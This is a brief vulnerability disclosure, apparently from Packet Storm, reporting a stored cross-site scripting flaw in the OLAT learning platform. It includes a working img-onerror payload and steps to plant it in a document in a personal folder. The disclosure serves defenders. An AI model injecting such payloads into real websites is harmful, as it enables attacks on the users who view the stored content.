Olat suffers from a persistent cross site scripting vulnerability.
a476d049a0c6d30f4f69fbe42db9b48cb8ad35e811be5397349505a7b9f6aacb# Affected software: //demo.olat.org/
# Discovered by: Provensec
# Website: http://www.provensec.com
# Type of vulnerability: Stored XSS
# Author: Ankit Bharathan ,Provensec labs
# Description: Goto personal folder open any folder and create a new
document xss.tct
and then edit it fill field with "><img src=d
onerror=confirm(/provensec/);>
Then open folder and in new tab
example:
http://demo.olat.org/olat/auth/1%3A2%3A1001302707%3A6%3A0%3Aserv%3Ax/public/dddd.tct.html
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed